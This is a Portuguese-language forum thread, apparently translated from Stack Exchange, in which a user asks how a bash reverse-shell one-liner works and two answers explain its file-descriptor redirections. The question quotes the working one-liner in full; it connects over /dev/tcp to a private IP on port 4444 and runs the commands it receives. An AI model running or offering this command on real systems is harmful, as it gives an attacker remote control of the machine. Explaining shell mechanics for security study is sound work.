Como este redirecionamento de comando está funcionando?

4

Estou fazendo alguma pesquisa de segurança e fiquei imaginando como o snippet a seguir funciona em sistemas operacionais baseados em Unix:

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

Estou totalmente ciente de o que este código faz (ou seja, estabelecer um shell reverso para 192.168.159.150 na porta 4444), mas não entendo o que essas seções estão fazendo:

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

E, em geral, como essa coisa se encaixa para produzir a casca que vejo.

Alguém poderia me ajudar a explicar isso ou me indicar a direção certa para entender isso?

Obrigado

    
por Peter Crampton 22.05.2017 / 14:29

2 respostas

3

Algumas partes da sua pergunta são respondidas aqui

Mas

  1. Isto define um novo filedescriptor com o número 5. BTW 0 é STDIN, 1 é STDOUT, 2 é STEDR filedescriptors
  2. Eco a informação, que é recebida via TCP, IP 192.168.159.150, porta 4444
  3. Enviar STDERR e STDOUT para o filehandler 5, por exemplo, rede
por 22.05.2017 / 14:38
5

Um breve resumo:

exec 5<> está abrindo um novo identificador de arquivo para leitura e gravação e, em seguida, nomeando-o 5

cat <&5 está lendo o identificador de arquivo recém-aberto

2>&5 >&5 está redirecionando a saída do identificador de arquivo 2 (stderr) e do identificador de arquivo 1 (stdout) para o identificador de arquivo 5 . O 1 , neste caso, está implícito, pois um número de identificador de arquivo não foi fornecido no segundo redirecionamento.

    
por 22.05.2017 / 14:38